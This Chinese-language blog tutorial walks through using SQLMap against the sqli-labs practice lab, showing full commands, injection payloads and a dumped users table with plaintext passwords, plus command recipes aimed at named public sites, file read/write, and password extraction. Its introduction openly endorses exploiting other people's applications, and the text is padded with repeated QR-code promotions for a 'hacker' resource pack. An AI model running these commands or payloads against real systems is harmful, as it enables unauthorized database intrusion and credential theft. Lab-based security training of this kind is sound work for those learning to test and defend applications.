什么是SQLMAP?
SQLMap,就像它的名字所暗示的,是一个为我们提供方便的“SQL注入攻击”的工具。对于那些不熟悉这个概念的人来说,SQL注入是一种黑客攻击技术,允许攻击者在目标网站的数据库中执行恶意SQL语句。这意味着我们可以控制和操纵网站的数据,甚至可以完全接管整个网站。
那么SQLMap如何帮助我们实现这些呢?首先,SQLMap可以帮助发现存在SQL注入漏洞的网站。它会进行自动化的扫描和检测,找出可能的注入点。一旦找到了注入点,我们就可以使用SQLMap提供的丰富功能执行各种SQL语句,包括SELECT、INSERT、UPDATE和DELETE等。这意味着我们可以获取、修改甚至删除网站的数据。
更令人兴奋的是,SQLMap不仅可以攻击网站,还可以用于测试我们的应用程序是否存在SQL注入漏洞。这对你来说是双赢的——你可以保护自己的应用程序,同时也可以找出并利用其他人的应用程序中的漏洞。
使用SQLMap并不需要特别的编程知识。即使你是一个新手,也可以轻松上手。它提供了详细的文档和教程,帮助你快速掌握它的使用方法。
总的来说,SQLMap是一个强大的工具,它帮助我们完全控制一个网站的数据库,获取、修改甚至删除数据。它是黑客的必备工具,也是你的首选工具之一。记住,这个世界是公平的,只要你愿意付出努力和时间,你就能获得你想要的东西。
SQLMAP支持5种不同的注入模式:
|
|
|
|
|
SQLMAP支持所有主流数据库:
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
SQLMAP的安装与使用:
注意:SQLMAP的使用需要python3的版本!
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
首先下载压缩包(扫描加我获取资料),解压后在sqlmap.py文件所在的目录打开终端:
接着在打开的终端中输入 python sqlmap.py -h 可以查看 sqlmap的帮助页面:
出现下面的内容就表明SQLMAP成功运行:
\sqlmap-master\sqlmap-master> python sqlmap.py -h
___
__H__
___ ___["]_____ ___ ___ {1.7.5#stable}
|_ -| . [.] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
Usage: sqlmap.py [options]
使用SQLMAP对目标进行常规扫描:
这里以sqli-labs-master靶场的less-1为例:
首先复制浏览器中的链接:
在终端中输入如下语句:
python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
这样SQLMAP就会对指定的URL进行扫描,如果想要使BurpSuite能够抓到扫描过程中的请求包,可以使用SQLMAP的 –proxy 参数 :
python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080
SQLMAP开始扫描: BurpSuite进行抓包:
SQLMAP扫描过程中如果出现选项直接选Y即可:
it looks like the back-end DBMS is 'MySQL'.
Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include
all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
SQLMAP扫描完毕后会给出找到的SQL注入漏洞以及对应的注入点和PAYLOAD:(以下包含我个人添加的翻译,方便大家理解)
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:---
SQLMAP使用50个HTTP请求识别了以下注入点:
Parameter: id (GET)
Type: boolean-based blind (基于布尔的盲注)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 3826=3826 AND 'mrQK'='mrQK
Type: error-based (报错注入)
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 9262 FROM(SELECT COUNT(*),CONCAT(0x7162627071,(SELECT (ELT(9262=9262,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'HuUe'='HuUe
Type: time-based blind (时间盲注)
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 1174 FROM (SELECT(SLEEP(5)))wyad) AND 'LVya'='LVya
Type: UNION query (联合注入)
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-5616' UNION ALL SELECT NULL,CONCAT(0x7162627071,0x72566d5973464e4571724343676c7567496d635a47414a62556b4475495562624744556b76686a6e,0x716a707671),NULL-- -
---
我们还可以发现,SQLMAP在payload的一些关键点进行了编码以绕过可能存在的过滤手段 .
注入成功后获取数据库基本信息:
获取服务器中有哪些数据库:
使用的参数为 --dbs
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080 --dbs
发现成功获取到目标主机中的所有数据库名:
available databases [8]:
[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] security
[*] test
[*] xionghai_database
获取数据库中有那些表:
使用的参数为 -D 数据库名 --tables
这里我们查询security数据库:
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080 -D security --tables
发现SQLMAP不仅给出了有哪些表,还给出了目标服务器的web信息:
获取数据表中的字段名:
使用的参数为 -D 数据库名 -T 表名 --columns
这里我们使用security中的users表:
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080 -D security -T users --columns
SQLMAP不仅给出了字段名,还给出了字段类型:
Database: security
Table: users
[3 columns]
+----------+-------------+
| Column | Type |
+----------+-------------+
| password | varchar(20) |
| id | int(3) |
| username | varchar(20) |
+----------+-------------+
获取数据表中的字段数据
使用的参数为 -D 数据库名 -T 表名 -C “字段名1,字段名2…” --dump
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
--proxy=http://127.0.0.1:8080
-D security -T users -C "id,username,password" --dump
Database: security
Table: users
[16 entries]
+-----+------------+----------+
| id | password | username |
+-----+------------+----------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | 123456 | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
以上只是SQLMAP最为基本的用法,下面我们来总结并拓展SQLMAP的更多用法:
我给大家准备了一份全套的《网络安全入门+进阶学习资源包》包含各种常用工具和黑客技术电子书以及视频教程,需要的小伙伴可以扫描下方二维码或链接免费领取~
SQLMAP用法的总结与拓展:
基本的检测方式:
基本格式: | sqlmap -u "http://www.vuln.cn/post.php?id=1" 默认使用level1检测全部数据库类型 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面) |
跟随302跳转: | sqlmap --follow-redirect -u <target_url> 当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302, 当注入错误的时候,先报错再跳转的时候,不需要跟随302。 目的就是:要追踪到错误信息。 |
cookie注入: | 当程序有防get注入的时候,可以使用cookie注入 sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie) |
从post数据包中注入: | 可以使用burpsuite来抓取post包 sqlmap -r "c:\tools\request.txt" -p "username" --dbms mysql 需指定username参数 -r参数指定请求包所在的路径(就是POST请求包) |
拓展:SQLMAP的-u参数与-r参数
-u参数后面接的是URL,一般用于扫描GET请求
-r参数后面接的是保存有HTTP请求的txt文件,用于扫描POST请求:
例如sqli-labs-master靶场的less-11,这一关就是使用的POST请求,注入点在POST表单中,不能使用-r URL的形式进行扫描,需要我们将整个POST请求复制下来并保存在一个txt文件中:(这个txt文件最好放在与sqlmap.py同级目录中,方便指定路径)
在终端中使用 python sqlmap.py -r 1.txt --dbs查询有哪些数据库
PS D:\123pan\Downloads\W14—SQL注入5—23.7.25\sqlmap-master\sqlmap-master> python sqlmap.py -r 1.txt --dbs
___
__H__
___ ___[.]_____ ___ ___ {1.7.5#stable}
|_ -| . [,] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
获取数据库基本信息:
查询有哪些数据库 | -r XX.txt --dbs (-r指定POST请求所在的路径) |
查询security数据库中有哪些表 | -r XX.txt -D security --tables |
查询security数据库中users表有哪些字段 security.users | -r XX.txt -D security -T users --columns |
dump出字段username与password中的数据 | -r XX.txt -D security -T users -C "username,password" --dump |
sqlmap支持五种不同的注入模式:
|
|
|
|
|
sqlmap的基本使用方式:
基本的检测方式:
扫描单个URL: | sqlmap -u <target_url> |
扫描多个URL: URL之间用空格分隔 | sqlmap -u <target_url1> <target_url2> ... |
基本格式: | sqlmap -u "http://www.vuln.cn/post.php?id=1" 默认使用level1检测全部数据库类型 sqlmap -u "http://www.vuln.cn/post.php?id=1" --dbms mysql --level 3 指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面) |
跟随302跳转: | sqlmap --follow-redirect -u <target_url> 当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302, 当注入错误的时候,先报错再跳转的时候,不需要跟随302。 目的就是:要追踪到错误信息。 |
cookie注入: | 当程序有防get注入的时候,可以使用cookie注入 sqlmap -u "http://www.baidu.com/shownews.asp" --cookie "id=11" --level 2(只有level达到2才会检测cookie) |
从post数据包中注入: | 可以使用burpsuite来抓取post包 sqlmap -r "c:\tools\request.txt" -p "username" --dbms mysql 需指定username参数 -r参数指定POST请求所在的路径 |
拓展:sqlmap跟随302跳转
在使用SQLMap进行注入攻击时,有时会遇到目标网站使用302重定向的情况。
这可能会使你无法直接注入目标页面,因为重定向会将请求导向另一个页面。
在这种情况下,我们可以尝试以下方法:
使用Burp Suite或其他代理工具捕获HTTP请求并进行手动重定向:
使用Burp Suite等工具可以捕获目标网站的HTTP请求,
然后手动修改请求的URL以跟随302重定向。
这样可以让你将SQLMap的注入请求发送到目标页面。
使用SQLMap的“--follow-redirect”选项:
SQLMap提供了一个“--follow-redirect”选项,可以自动跟随302重定向。
使用该选项可以使SQLMap自动将注入请求发送到目标页面。
例如,使用以下命令启用“--follow-redirect”选项:
sqlmap --follow-redirect -u <target_url>
请注意,在某些情况下,网站可能会使用其他类型的重定向(如301重定向),
而SQLMap可能无法自动跟随这些重定向。
在这种情况下,你需要手动处理HTTP请求并确保将注入请求发送到目标页面。
获取数据库基本信息:
查询有哪些数据库 | -r XX.txt --dbs (-r指定POST请求所在的路径) |
查询security数据库中有哪些表 | -r XX.txt -D security --tables |
查询security数据库中users表有哪些字段 security.users | -r XX.txt -D security -T users --columns |
查询字段username与password中的数据 | -r XX.txt -D security -T users -C "username,password" --dump |
从数据库中搜索特定字段:
在security数据库中搜索字段admin或者password。 | sqlmap -r "c:\tools\request.txt" --dbms mysql -D security --search -C admin,password |
读取与写入文件:
首先找需要网站的物理路径,其次需要有可写或可读权限。
假设目标网站的URL为http://example.com/upload/file.txt
从指定的URL路径http://example.com/upload/file.txt)中读取文件,并将内容输出到标准输出。 | sqlmap --file-read --file-path=file.txt --url="http://example.com/upload/file.txt" |
向指定的URL路径http://example.com/upload/file.txt)中写入指定的内容。 | sqlmap --file-write --file-path=file.txt --file-content="<Your content here>" --url="http://example.com/upload/file.txt" |
sqlmap 详细命令:
| --is-dba |
| --dbs |
| --current-db |
| --users |
| --current-user |
| --random-agent |
| --passwords |
| --proxy http://local:8080 --threads 10 |
| --time-sec=TIMESEC DBMS |
网络安全学习资源分享:
给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,请看下方扫描即可前往获取
👉1.成长路线图&学习规划👈
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
👉2.网安入门到进阶视频教程👈
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程扫描领取哈)
👉3.SRC&黑客文档👈
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦! (全套教程扫描领取哈)
👉4.护网行动资料👈
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
👉5.黑客必读书单👈
👉6.网络安全岗面试题合集👈
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~